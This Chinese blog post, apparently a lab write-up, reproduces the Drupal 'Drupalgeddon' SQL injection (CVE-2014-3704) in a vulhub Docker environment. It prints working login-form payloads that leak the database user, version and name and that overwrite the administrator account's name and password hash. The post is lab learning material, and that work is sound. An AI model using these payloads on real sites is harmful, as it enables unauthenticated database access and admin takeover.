当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] Drupal<7.32 Drupalgeddon SQL注入漏洞(CVE-2014-3704)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2014-3704环境
    • 2、启动CVE-2014-3704环境
    • 3、查看CVE-2014-3704环境
    • 4、访问CVE-2014-3704环境
    • 5、查看CVE-2014-3704漏洞提示信息
    • 6、关闭CVE-2014-3704环境
  • 五、漏洞复现
    • 1、抓登陆页面的数据包包
    • 2、获取数据库当前当前用户
    • 3、获取数据库版本
    • 4、获取当前使用数据库
    • 5、修改管理员账号密码
  • 六、漏洞修复
  • 七、相关资源

一、漏洞编号

CVE-2014-3704

二、影响范围

Drupal < 7.32的7.x版本

三、漏洞描述

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。

四、环境搭建

1、进入CVE-2014-3704环境

cd vulhub/confluence/CVE-2014-3704

在这里插入图片描述

2、启动CVE-2014-3704环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2014-3704环境

docker-compose ps

在这里插入图片描述

4、访问CVE-2014-3704环境

环境启动后,访问http://your-ip:8080会进入安装引导。

http://192.168.233.130:8080/

进入Drupal的安装页面,使用默认配置安装即可。
一直点击save and continue就ok了

在这里插入图片描述

到了配置数据库这一步,
数据库类型myqsl
数据库名字drupal
数据库用户名root
数据库密码root
高级选项中Database host为mysql

在这里插入图片描述

然后接着save and continue,直到下面这个页面,进入站点
注意中间有一步需要配置登录密码,忘截图了

在这里插入图片描述

进入站点后

在这里插入图片描述

在这里插入图片描述

5、查看CVE-2014-3704漏洞提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2014-3704环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、抓登陆页面的数据包包

登陆页面抓个包

http://192.168.233.130:8080/

在这里插入图片描述

抓到的数据包如下,放到重放攻击模块

在这里插入图片描述

2、获取数据库当前当前用户

使用如下POC进行替换

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

在这里插入图片描述

发送数据包,回显如下,利用 SQL 报错语句打印当前用户,证明存在SQL注入漏洞

在这里插入图片描述

3、获取数据库版本

使用如下POC进行替换

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,Version()),0)%23]=bob&name[0]=a

在这里插入图片描述

数据库版本为5.5.62,没有系统表

4、获取当前使用数据库

使用如下POC进行替换

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,database()),0)%23]=bob&name[0]=a

在这里插入图片描述

回显如下,获取到了当前数据库为drupal

在这里插入图片描述

5、修改管理员账号密码

使用如下POC进行替换
将原来id为1的管理,替换成名字为123456,密码是thanks的管理员。

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0%20;update+users+set+name%3d'123456'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=bob&name[0]=a

在这里插入图片描述

用之前的管理员账号密码就登陆失败了

在这里插入图片描述

使用123456,thanks登陆成功,管理员账号密码被成功修改(可配合CVE-2018-7602使用)

在这里插入图片描述

六、漏洞修复

升级Drupal为最新版本

七、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)

http://www.lryc.cn/news/9309.html

相关文章:

  • Part 4 描述性统计分析(占比 10%)——下
  • 【一般人不会告诉你】比肩chatgtp的5款AI网站
  • LA@相似方阵和对角化
  • 存储类别、链接与内存管理(二)
  • JavaScript 入门教程||javascript 简介||JavaScript 用法
  • 新闻稿写作指南
  • 一文详解Redis持久化的两种方案
  • 第六章 - 数据过滤where(where与and和or的组合用法)
  • Oracle 定时任务例子
  • Android常用9种自动化测试框架对比,Appium有哪些优势?
  • 在vue2使用百度脑图的kityminder-core进行二次开发思维导图,给节点绑定数据后添加新的图标
  • FPGA时序约束与分析 --- 时序约束概述
  • 2022——寒假总结
  • C++11 Lambda表达式
  • 冰湖灾害遥感监测评价与模拟分析
  • Highcharts.Chart
  • 遍历map的几种方法
  • RocketMQ源码分析之Broker概述与同步消息发送原理与高可用设计及思考
  • K8s常见面试题总结
  • OpenFeign 自定义解码器Decoder 失效
  • c++练习题8
  • Python循环语句代码详解:while、for、break
  • vue父子组件传值不能实时更新
  • 2023美赛A题思路数据代码分享
  • 【蓝桥杯集训·每日一题】AcWing 3768. 字符串删减
  • Python|每日一练|树|深度优先搜索|数组|二分查找|链表|双指针|单选记录:填充每个节点的下一个右侧节点指针|搜索插入位置|旋转链表
  • 降雨量实时监测系统压电式雨量计
  • 滑动相关的原理以及用滤波器实现滑动相关(匹配滤波器捕获DMF)
  • 计算机网络笔记(三)—— 数据链路层
  • 【日常】矩阵正态分布参数检验问题